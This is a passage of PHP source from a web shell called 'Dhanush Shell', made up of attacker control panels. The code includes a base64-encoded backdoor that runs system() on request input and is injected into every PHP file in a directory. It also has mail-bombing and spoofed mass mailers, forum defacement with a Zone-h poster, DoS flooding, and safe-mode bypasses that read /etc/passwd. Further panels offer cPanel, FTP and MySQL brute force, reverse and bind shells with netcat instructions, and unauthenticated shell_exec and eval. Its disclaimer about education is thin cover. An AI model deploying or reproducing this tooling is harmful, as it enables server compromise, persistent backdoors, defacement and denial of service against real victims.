3118 <td colspan="2"><textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!</textarea></td>
3119 </tr>
3120 <tr>
3121 <td rowspan="2">
3122 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('dobombing',to.value,subject.value,message.value,'null',times.value,padding.value)" class="but" value=" Bomb! "/>
3123 </td>
3124 </tr>
3125 </table>
3126 </form>
3127 <?php
3128}
3129
3130//Mass Mailer
3131else if(isset($_GET['mail']))
3132{
3133 ?><div id="showmail"></div>
3134 <div align="left">
3135 <form>
3136 <table align="left" style="width:100%;">
3137 <tr>
3138 <td style="width:10%;">From</td>
3139 <td style="width:80%;" align="left"><input name="from" class="box" value="Hello@abcd.in" onFocus="if(this.value == 'president@whitehouse.gov')this.value = '';" onBlur="if(this.value=='')this.value='president@whitehouse.gov';"/></td>
3140 </tr>
3141
3142 <tr>
3143 <td style="width:20%;">To</td>
3144 <td style="width:80%;"><input class="box" class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/></td>
3145 </tr>
3146
3147 <tr>
3148 <td style="width:20%;">Subject</td>
3149 <td style="width:80%;"><input type="text" class="box" name="subject" value="Dhanush Here!!" onFocus="if(this.value == 'Dhanush Here!!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!!';" /></td>
3150 </tr>
3151
3152
3153 <tr>
3154 <td colspan="2">
3155 <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!!</textarea>
3156 </td>
3157 </tr>
3158
3159
3160 <tr>
3161 <td rowspan="2">
3162 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('massmailing',to.value,subject.value,message.value,from.value)" class="but" value=" Send! "/>
3163 </td>
3164 </tr>
3165 </table>
3166 </form></div>
3167 <?php
3168}
3169// Get Domains
3170else if(isset($_REQUEST["symlinkserver"]))
3171{
3172 ?>
3173 <center><table><tr>
3174 <td><a href=javascript:void(0) onClick="getdata('domains')"><font class=txt><b>| Get Domains |</b></font></a></td>
3175 <td><a href=javascript:void(0) onClick="getdata('symlink')"><font class=txt><b>| Symlink Server |</b></font></a></td>
3176 <td><a href=javascript:void(0) onClick="getdata('symlinkfile')"><font class=txt><b>| Symlink File |</b></font></a></td>
3177 <td><a href=javascript:void(0) onClick="getdata('script')"><font class=txt><b>| Script Locator |</b></font></a></td>
3178 </tr></table></center><br>
3179 <div id="showdata"></div><?php
3180}
3181// Forum Manager
3182else if(isset($_REQUEST["forum"]))
3183{ ?>
3184 <center><table><tr><td><a href=# onClick="getdata('defaceforum')"><font class=txt size="4">| Forum Defacer |</font></a></td>
3185 <td><a href=# onClick="getdata('passwordchange')"><font class=txt size="4">| Forum Password Changer |</font></a></td>
3186 </tr></table></center><br><div id="showdata"></div>
3187 <?php
3188}
3189// Sec info
3190else if(isset($_GET['secinfo']))
3191{ ?><div id=showdata></div>
3192<center><div id="showmydata"></div>
3193</center>
3194<br><center><font color =red size=5>Server security information</font><br><br></center>
3195 <table style="width:100%;border-color:#333333;" border="1">
3196 <tr>
3197 <td style="width:7%;">Curl</td>
3198 <td style="width:7%;">Oracle</td>
3199 <td style="width:7%;">MySQL</td>
3200 <td style="width:7%;">MSSQL</td>
3201 <td style="width:7%;">PostgreSQL</td>
3202 <td style="width:12%;">Open Base Directory</td>
3203 <td style="width:10%;">Safe_Exec_Dir</td>
3204 <td style="width:7%;">PHP Version</td>
3205 <td style="width:7%;">Magic Quotes</td>
3206 <td style="width:7%;">Server Admin</td>
3207 </tr>
3208 <tr>
3209 <td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
3210 <td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
3211 <td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
3212 <td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
3213 <td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
3214 <td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
3215 <td style="width:10%;"><font class="txt"><?php if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font >NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} ?></font></td>
3216 <td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
3217 <td style="width:7%;"><font class="txt"><?php magic_quote(); ?></font></td>
3218 <td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
3219 </tr>
3220</table><br> <?php
3221 mysecinfo();
3222}
3223// Code Injector
3224
3225else if(isset($_GET['injector']))
3226{
3227 ?>
3228 <form method='POST'>
3229 <table id="margins">
3230 <tr>
3231 <td width="100" class="title">
3232 Directory
3233 </td>
3234 <td>
3235 <input class="box" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
3236 </td>
3237
3238 </tr>
3239 <tr>
3240 <td class="title">
3241 Mode
3242 </td>
3243 <td>
3244 <select style="width: 400px;" name="mode" class="box">
3245 <option value="Apender">Apender</option>
3246 <option value="Overwriter">Overwriter</option>
3247 </select>
3248 </td>
3249 </tr>
3250 <tr>
3251 <td class="title">
3252 File Type
3253 </td>
3254 <td>
3255 <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
3256 </td>
3257 </tr>
3258 <tr>
3259 <td>Create A backdoor by injecting this code in every php file of current directory</td>
3260 </tr>
3261
3262 <tr>
3263 <td colspan="2">
3264 <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+"); ?></textarea>
3265 </td>
3266 </tr>
3267 <tr>
3268 <td rowspan="2">
3269 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="codeinjector(pathtomass.value,mode.value,filetype.value,injectthis.value)" class="but" value="Inject "/>
3270 </td>
3271 </tr>
3272 </form>
3273 </table><div id="showinject"</div>
3274 <?php
3275}
3276// Bypass
3277else if(isset($_GET["bypass"]))
3278{
3279 ?><center><div id="showbyp"></div></center>
3280 <table cellpadding="7" align="center" border="3" style="width:70%;border-color:#333333;">
3281 <tr>
3282 <td align="center" colspan="2"><font color="#FF0000" size="3">Safe mode bypass</font></td>
3283 </tr>
3284 <tr>
3285 <td align="center">
3286 <p>Using copy() function</p>
3287 <form onSubmit="bypassfun('copy',copy.value);return false;">
3288 <input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('copy',copy.value)" value="bypass" class="but">
3289 </form>
3290 </td>
3291 <td align="center">
3292 <p>Using imap() function</p>
3293 <form onSubmit="bypassfun('imap',imap.value);return false;">
3294 <input type="text" name="imap" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('imap',imap.value)" value="bypass" class="but">
3295 </form>
3296 </td>
3297 </tr>
3298
3299 <tr>
3300 <td align="center">
3301 <p>Using sql() function</p>
3302 <form onSubmit="bypassfun('sql',sql.value);return false;">
3303 <input type="text" name="sql" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('sql',sql.value)" value="bypass" class="but">
3304 </form>
3305 </td>
3306 <td align="center">
3307 <p>Using Curl() function</p>
3308 <form onSubmit="bypassfun('curl',curl.value);return false;">
3309 <input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('curl',curl.value)" value="bypass" class="but">
3310 </form>
3311 </td>
3312 </tr>
3313
3314 <tr>
3315 <td align="center">
3316 <p>Bypass using include()</p>
3317 <form onSubmit="bypassfun('include',include.value);return false;">
3318 <input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('include',include.value)" value="bypass" class="but">
3319 </form>
3320 </td>
3321 <td align="center">
3322 <p>Using id() function</p>
3323 <form onSubmit="bypassfun('id',id.value);return false;">
3324 <input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('id',id.value)" value="bypass" class="but">
3325 </form>
3326 </td>
3327 </tr>
3328
3329 <tr>
3330 <td align="center">
3331 <p>Using tempnam() function</p>
3332 <form onSubmit="bypassfun('tempnam',tempname.value);return false;">
3333 <input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('tempnam',tempname.value)" value="bypass" class="but">
3334 </form>
3335 </td>
3336 <td align="center">
3337 <p>Using symlink() function</p>
3338 <form onSubmit="bypassfun('symlnk',sym.value);return false;">
3339 <input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('symlnk',sym.value)" value="bypass" class="but">
3340 </form>
3341 </td>
3342 </tr>
3343 <tr>
3344 <td colspan=2 align="center">
3345 <p>Using Bypass function</p>
3346 <form onSubmit="bypassfun('newtype',newtype.value,optiontype.value);return false;">
3347 <input type="text" name="newtype" value="/etc/passwd" class="sbox">
3348 <select id="optiontype" class=sbox>
3349 <option value="tac">tac</option>
3350 <option value="more">more</option>
3351 <option value="less">less</option>
3352 <option value="rev">rev</option>
3353 <option value="xxd">xxd</option>
3354 </select>
3355 <input type="button" OnClick="bypassfun('newtype',newtype.value,optiontype.value)" value="bypass" class="but">
3356 </form>
3357 </td>
3358 </tr>
3359 </table>
3360 </form>
3361 <?php
3362}
3363//fuzzer
3364else if(isset($_GET['fuzz']))
3365{
3366 ?>
3367 <form method="GET">
3368 <table id="margins">
3369 <tr>
3370 <td width="400" class="title">
3371 IP
3372 </td>
3373 <td>
3374 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
3375 </td>
3376 </tr>
3377
3378 <tr>
3379 <td class="title">
3380 Port
3381 </td>
3382 <td>
3383 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
3384 </td>
3385 </tr>
3386
3387 <tr>
3388 <td class="title">
3389 Timeout
3390 </td>
3391 <td>
3392 <input type="text" class="box" name="time" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';"/>
3393 </td>
3394 </tr>
3395
3396
3397 <tr>
3398 <td class="title">
3399 No of times
3400 </td>
3401 <td>
3402 <input type="text" class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';" />
3403 </td>
3404 </tr>
3405
3406 <tr>
3407 <td class="title">
3408 Message (The message Should be long and it will be multiplied with the value after it)
3409 </td>
3410 <td>
3411 <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onBlur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
3412 </td>
3413 <td>
3414 x
3415 </td>
3416 <td width="20">
3417 <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
3418 </td>
3419 </tr>
3420
3421 <tr>
3422 <td rowspan="2">
3423 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('fuzzer',myip.value,port.value,time.value,times.value,message.value,messageMultiplier.value)" class="but" value=" Submit "/>
3424 </td>
3425 </tr>
3426 </table>
3427 </form><div id="showdos"></div>
3428 <?php
3429}
3430// Zone-h Poster
3431 else if(isset($_GET["zone"]))
3432 {
3433 if(!function_exists('curl_version'))
3434 {
3435 echo "<pre style='margin-top:5px'><center><font >PHP CURL NOT EXIST</font></center></pre>";
3436 }
3437 ?>
3438 <center><font size="4" color="#FF0000">Zone-h Poster</font></center>
3439 <form action="<?php echo $self; ?>" method="post">
3440 <table align="center" cellpadding="5" border="0">
3441 <tr>
3442 <td>
3443 <input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
3444 <tr><td>
3445 <select name="hackmode" class="box">
3446 <option >--------SELECT--------</option>
3447 <option value="1">known vulnerability (i.e. unpatched system)</option>
3448 <option value="2" >undisclosed (new) vulnerability</option>
3449 <option value="3" >configuration / admin. mistake</option>
3450 <option value="4" >brute force attack</option>
3451 <option value="5" >social engineering</option>
3452 <option value="6" >Web Server intrusion</option>
3453 <option value="7" >Web Server external module intrusion</option>
3454 <option value="8" >Mail Server intrusion</option>
3455 <option value="9" >FTP Server intrusion</option>
3456 <option value="10" >SSH Server intrusion</option>
3457 <option value="11" >Telnet Server intrusion</option>
3458 <option value="12" >RPC Server intrusion</option>
3459 <option value="13" >Shares misconfiguration</option>
3460 <option value="14" >Other Server intrusion</option>
3461 <option value="15" >SQL Injection</option>
3462 <option value="16" >URL Poisoning</option>
3463 <option value="17" >File Inclusion</option>
3464 <option value="18" >Other Web Application bug</option>
3465 <option value="19" >Remote administrative panel access bruteforcing</option>
3466 <option value="20" >Remote administrative panel access password guessing</option>
3467 <option value="21" >Remote administrative panel access social engineering</option>
3468 <option value="22" >Attack against administrator(password stealing/sniffing)</option>
3469 <option value="23" >Access credentials through Man In the Middle attack</option>
3470 <option value="24" >Remote service password guessing</option>
3471 <option value="25" >Remote service password bruteforce</option>
3472 <option value="26" >Rerouting after attacking the Firewall</option>
3473 <option value="27" >Rerouting after attacking the Router</option>
3474 <option value="28" >DNS attack through social engineering</option>
3475 <option value="29" >DNS attack through cache poisoning</option>
3476 <option value="30" >Not available</option>
3477 </select>
3478 </td></tr>
3479 <tr><td>
3480 <select name="reason" class="box">
3481 <option >--------SELECT--------</option>
3482 <option value="1" >Heh...just for fun!</option>
3483 <option value="2" >Revenge against that website</option>
3484 <option value="3" >Political reasons</option>
3485 <option value="4" >As a challenge</option>
3486 <option value="5" >I just want to be the best defacer</option>
3487 <option value="6" >Patriotism</option>
3488 <option value="7" >Not available</option>
3489 </select></td></tr>
3490 <tr><td>
3491 <textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
3492 <tr><td>
3493 <input type="button" onClick="zoneh(defacer.value,hackmode.value,reason.value,domain.value)" class="but" value="Send Now !" /></td></tr></table>
3494 </form><div id="showzone"></div>
3495 <?php }
3496//DDos
3497 else if(isset($_GET['dos']))
3498 {
3499 ?>
3500 <form method="GET">
3501 <table id="margins">
3502 <tr>
3503 <td width="400" class="title">
3504 IP
3505 </td>
3506 <td>
3507 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
3508 </td>
3509 </tr>
3510
3511 <tr>
3512 <td class="title">
3513 Port
3514 </td>
3515 <td>
3516 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
3517 </td>
3518 </tr>
3519
3520 <tr>
3521 <td class="title">
3522 Timeout <font >(Time in seconds)</font>
3523 </td>
3524 <td>
3525 <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />
3526 </td>
3527 </tr>
3528 <tr>
3529 <td class="title">
3530 Execution Time <font >(Time in seconds)</font>
3531 </td>
3532 <td>
3533 <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>
3534 </td>
3535 </tr>
3536 <tr>
3537 <td class="title">
3538 No of Bytes per/packet
3539 </td>
3540 <td>
3541 <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>
3542 </td>
3543 </tr>
3544 <tr>
3545 <td rowspan="2">
3546 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('dosser',myip.value,port.value,timeout.value,exTime.value,noOfBytes.value,'null')" class="but" value=" Attack >> "/>
3547 </td>
3548 </tr>
3549 </table>
3550 </form><div id="showdos"></div>
3551 <?php
3552}
3553else if(isset($_GET['mailbomb']))
3554{ ?>
3555 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('bomb')"><font class=txt size="4">| Mail Bomber |</font></a></td>
3556 <td><a href=javascript:void(0) onClick="getdata('mail')"><font class=txt size="4">| Mass Mailer |</font></a></td></tr></table></center><br><div id=showdata></div>
3557<?php
3558}
3559else if(isset($_GET['tools']))
3560 {
3561 ?>
3562 <center><br><form onSubmit="getport(host.value,protocol.value);return false;">
3563 <table cellpadding="5" border="3" style="border-color:#333333; width:50%;">
3564 <tr>
3565 <td colspan="2" align="center"><b><font size='4' color="#FF0000">Port Scanner<br></font></b></td>
3566 </tr>
3567 <tr>
3568 <td align="center">
3569 <input class="sbox" type='text' name='host' value='<?php echo $_SERVER["SERVER_ADDR"]; ?>' >
3570 </td>
3571 <td align="center">
3572 <select class="sbox" name='protocol'>
3573 <option value='tcp'>tcp</option>
3574 <option value='udp'>udp</option>
3575 </select>
3576 </td>
3577 <tr>
3578 <td colspan="2" align="center"><input class="but" type='button' onClick="getport(host.value,protocol.value)" value='Scan Ports'></td>
3579 </tr>
3580 </form>
3581 <tr><td colspan=2><div id="showports"></div>
3582 </td></tr></table>
3583
3584 <br>
3585 <form onSubmit="bruteforce(prototype.value,serverport.value,login.value,dict.value);return false;">
3586 <table cellpadding="5" border="2" style="border-color:#333333; width:50%;">
3587 <tr>
3588 <td colspan="2" align="center"><font size="4">BruteForce</font></td>
3589 </tr>
3590 <tr>
3591 <td>Type : </td>
3592 <td>
3593 <select name="prototype" class="sbox">
3594 <option value="ftp">FTP</option>
3595 <option value="mysql">MYSQL</option>
3596 <option value="postgresql">PostgreSql</option>
3597 </select>
3598 </td>
3599 </tr>
3600 <tr>
3601 <td>Server <b>:</b> Port : </td>
3602 <td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
3603 </tr>
3604 <tr>
3605 <td valign="middle">Brute type : </td>
3606 <td><label><input type=radio name=mytype value="1" checked> /etc/passwd</label><label><input type=checkbox id="reverse" name=reverse value=1 checked> reverse (login -> nigol)</label><hr color="#1B1B1B">
3607 <label><input type=radio name=mytype value="2"> Dictionary</label><br>
3608 Login : <input type="text" name="login" value="root" class="sbox"><br>
3609 Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
3610 </td>
3611 </tr>
3612 <tr>
3613 <td colspan="2" align="center"><input type="button" onClick="bruteforce(prototype.value,serverport.value,login.value,dict.value)" value="Attack >>" class="but"></td>
3614 </tr>
3615 </form><tr><td colspan="2" id="showbrute"></td></tr>
3616 </table>
3617 </center><br>
3618 <?php
3619}
3620else if (isset($_GET["phpc"]))
3621{
3622 ?>
3623 <div id="showresult"></div>
3624 <form name="frm">
3625 <textarea name="code" class="box" cols="120" rows="10">phpinfo();</textarea>
3626 <br /><br />
3627 <input name="submit" value="Execute This COde! " class="but" onClick="execode(code.value)" type="button" />
3628 <label><input type="checkbox" id="intext" name="intext" value="disp"> <font class=txt size="3">Display in Textarea</font></label>
3629 </form>
3630 <?php
3631}
3632else if(isset($_GET["exploit"]))
3633{
3634 if(!isset($_GET["rootexploit"]))
3635 {
3636 ?>
3637 <center>
3638 <form action="<?php echo $self; ?>" method="get" target="_blank">
3639 <input type="hidden" name="exploit">
3640 <table border="1" cellpadding="5" cellspacing="4" style="width:50%;border-color:#333333;">
3641 <tr>
3642 <td style="height:60px;">
3643 <font size="4" class=txt>Select Website</font></td><td>
3644 <p><select id="rootexploit" name="rootexploit" class="box">
3645 <option value="exploit-db">Exploit-db</option>
3646 <option value="packetstormsecurity">Packetstormsecurity</option>
3647 <option value="exploitsearch">Exploitsearch</option>
3648 <option value="shodanhq">Shodanhq</option>
3649 </select></p></td></tr><tr><td colspan="2" align="center" style="height:40px;">
3650 <input type="submit" value="Search" class="but"></td></tr></table>
3651 </form></center><br>
3652
3653 <?php
3654 }
3655 else
3656 {
3657 //exploit search
3658 $Lversion = php_uname(r);
3659 $OSV = php_uname(s);
3660 if(eregi('Linux',$OSV))
3661 {
3662 $Lversion=substr($Lversion,0,6);
3663 if($_GET['rootexploit'] == "exploit-db")
3664 {
3665 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+$Lversion");
3666 }
3667 else if($_GET['rootexploit'] == "packetstormsecurity")
3668 {
3669 header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+$Lversion");
3670 }
3671 else if($_GET['rootexploit'] == "exploitsearch")
3672 {
3673 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
3674 }
3675 else if($_GET['rootexploit'] == "shodanhq")
3676 {
3677 header("Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+$Lversion");
3678 }
3679 }
3680 else
3681 {
3682 $Lversion=substr($Lversion,0,3);
3683 if($_GET['rootexploit'] == "exploit-db")
3684 {
3685 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV+Lversion");
3686 }
3687 else if($_GET['rootexploit'] == "packetstormsecurity")
3688 {
3689 header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=$OSV+Lversion");
3690 }
3691 else if($_GET['rootexploit'] == "exploitsearch")
3692 {
3693 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
3694 }
3695 else if($_GET['rootexploit'] == "shodanhq")
3696 {
3697 header("Location:http://www.shodanhq.com/exploits?q=$OSV+Lversion");
3698 }
3699 }
3700 //End of Exploit search
3701 }
3702}
3703// Connect
3704else if(isset($_REQUEST['connect']))
3705{
3706 ?>
3707 <form action='<?php echo $self; ?>' method='POST' >
3708 <table style="width:50%" align="center" >
3709 <tr>
3710 <th colspan="1" width="50px">Reverse Shell</th>
3711 <th colspan="1" width="50px">Bind Shell</th>
3712 </tr>
3713 <tr>
3714 <td>
3715 <table style="border-spacing: 6px;">
3716 <tr>
3717 <td>IP </td>
3718 <td>
3719 <input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip();?>" />
3720 </td>
3721 </tr>
3722 <tr>
3723 <td>Port </td>
3724 <td><input style="width: 200px;" class="box" name="port" size='5' value="9891"/></td>
3725 </tr>
3726 <tr>
3727 <td style="vertical-align:top;">Use:</td>
3728 <td><select style="width: 95px;" name="lang" class="sbox">
3729 <option value="perl">Perl</option>
3730 <option value="python">Python</option>
3731 <option value="php">PHP</option>
3732 </select>
3733 <input type="submit" style="width: 90px;" class="but" value="Connect!" name="backconnect"/></td>
3734 </tr>
3735 </table> </form>
3736 </td>
3737
3738 <td style="vertical-align:top;">
3739 <form method='post' >
3740 <table style="border-spacing: 6px;">
3741 <tr>
3742 <td>Port</td>
3743 <td>
3744 <input style="width: 200px;" class="box" name="port" value="9891" />
3745 </td>
3746 </tr>
3747 <tr>
3748 <td>Password </td>
3749 <td>
3750 <input style="width: 200px;" class="box" name="passwd" value="Dhanush"/>
3751 </td>
3752 <tr>
3753 <td>Using</td>
3754 <td>
3755 <select style="width: 95px;" name="lang" id="lang" class="sbox">
3756 <option value="perl">Perl</option>
3757 <option value="c">C</option>
3758 </select>
3759 <input style="width: 90px;" class="but" type="submit" name="backdoor" value=" Bind "/></td>
3760 </tr>
3761 </table>
3762 </td>
3763 </form>
3764 </tr>
3765 <tr><td colspan=2><font color="#FF0000">Click "Connect" only after open port for it.Use NetCat, run "nc -l -n -v -p 9891"!<br>Click "Bind", use netcat and give it the command 'nc <?php yourip(); ?> 9891"!</font></td></tr>
3766 </table>
3767
3768 <?php
3769 }
3770
3771else if(isset($_REQUEST['404']))
3772{
3773 ?>
3774 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('404new')"><font class=txt size="4">| Set Your 404 Page |</font></a></td>
3775 <td><a href=javascript:void(0) onClick="getdata('404page')"><font class=txt size="4">| Set Specified 404 Page |</font></a></td>
3776 </tr></table></center><br>
3777 <div id="showdata"></div>
3778 <?php
3779}
3780else if(isset($_GET['about']))
3781 { ?>
3782 <center>
3783 <p><font size=6><u>D h a n u s h</u></font><br>
3784 <font size=5>[--==Coded By Arjun==--]</font>
3785 <div style='font-family: Courier New; font-size: 10px;'><font class=txt ><pre>
3786
3787 - -- -
3788 -- -- --
3789 -- --
3790 --- ---
3791 ------
3792 ----
3793 ----
3794 ------
3795-------
3796--- --
3797 -- ---
3798 -- -----
3799 --- --- ---
3800 --- --- ---
3801-- --------- --
3802-- ------- --
3803 -- ---- --
3804 -- --- --
3805 -- -- --
3806 --- --- -- ---
3807 ------ ------
3808 ---- ----
3809
3810
3811 </pre></font></div></center>
3812 <font class="txt">Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by an Indian Ethical Hacker.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it</font><br><br><center><font size=5>GREETZ To All Indian Hackers</font><br><font size=6>| जय महाकाल | | जय हिन्द |</font></center><br>
3813 <?php }
3814else if(isset($_GET['database']))
3815{ ?>
3816 <form onSubmit="mydatabase(server.value,username.value,password.value);return false;">
3817 <table id="datatable" style="width:90%;" cellpadding="4" align="center">
3818 <tr>
3819 <td colspan="2">Connect To Database</td>
3820 </tr>
3821 <tr>
3822 <td>Server Address :</td>
3823 <td><input type="text" class="box" name="server" value="localhost"></td>
3824 </tr>
3825 <tr>
3826 <td>Username :</td>
3827 <td><input type="text" class="box" name="username" value="root"></td>
3828 </tr>
3829 <tr>
3830 <td>Password:</td>
3831 <td><input type="text" class="box" name="password" value=""></td>
3832 </tr>
3833
3834 <tr>
3835 <td></td>
3836 <td><input type="button" onClick="mydatabase(server.value,username.value,password.value)" value=" Connect " name="executeit" class="but"></td>
3837 </tr>
3838 </table>
3839 </form>
3840 <div id="showsql"></div>
3841<?php
3842}
3843// Cpanel Cracker
3844 else if(isset($_REQUEST['cpanel']))
3845 {
3846 $cpanel_port="2082";
3847 $connect_timeout=5;
3848 ?>
3849 <center>
3850 <form method=post>
3851 <table style="width:50%;border-color:#333333;" border=1 cellpadding=4>
3852 <tr>
3853 <td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
3854 </tr>
3855 <tr>
3856 <td align=center>User names</td><td align=center>Password</td>
3857 </tr>
3858 <tr>
3859 <td align=center><textarea name=username rows=25 cols=22 class=box><?php
3860 if($os != "Windows")
3861 {
3862 if(@file('/etc/passwd'))
3863 {
3864 $users = file('/etc/passwd');
3865 foreach($users as $user)
3866 {
3867 $user = explode(':', $user);
3868 echo $user[0] . "\n";
3869 }
3870 }
3871 else
3872 {
3873 $temp = "";
3874 $val1 = 0;
3875 $val2 = 1000;
3876 for(;$val1 <= $val2;$val1++)
3877 {
3878 $uid = @posix_getpwuid($val1);
3879 if ($uid)
3880 $temp .= join(':',$uid)."\n";
3881 }
3882
3883 $temp = trim($temp);
3884
3885 if($file5 = fopen("test.txt","w"))
3886 {
3887 fputs($file5,$temp);
3888 fclose($file5);
3889
3890 $file = fopen("test.txt", "r");
3891 while(!feof($file))
3892 {
3893 $s = fgets($file);
3894 $matches = array();
3895 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
3896 $matches = str_replace("home/","",$matches[1]);
3897 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
3898 continue;
3899 echo $matches;
3900 }
3901 fclose($file);
3902 }
3903 }
3904 }
3905
3906 ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
3907 </tr>
3908 <tr>
3909 <td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
3910 </tr>
3911 <tr>
3912 <td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
3913 </tr>
3914 <tr>
3915 <td align=center colspan=2><input type="submit" name="cpanelattack" value=" Go " class=but></td>
3916 </tr>
3917 </table>
3918 </form>
3919 </center>
3920 <?php
3921}
3922else if(isset($_REQUEST['malattack']))
3923{
3924 ?><input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
3925 <center><table><tr><td><a href=# onClick="getdata('malware')"><font class=txt size="4">| Malware Attack |</font></a></td>
3926 <td><a href=# onClick="getdata('codeinsert')"><font class=txt size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
3927 <div id="showdata"></div>
3928 <?php
3929}
3930else if(isset($_GET["com"]))
3931{
3932 echo "<br>";
3933 ob_start();
3934 eval("phpinfo();");
3935 $b = ob_get_contents();
3936 ob_end_clean();
3937 $a = strpos($b,"<body>")+6; // yeah baby,, your body is wonderland ;-)
3938 $z = strpos($b,"</body>");
3939 $s_result = "<div class='myphp'>".substr($b,$a,$z-$a)."</div>";
3940 echo $s_result;
3941}
3942else if(isset($_GET['execute']))
3943{
3944 $comm = $_GET['execute'];
3945 chdir($_GET['executepath']);
3946 $check = shell_exec($comm);
3947
3948 echo "<center><textarea id=showexecute cols=120 rows=20 class=box>" . $check . "</textarea></center>";
3949
3950 ?>
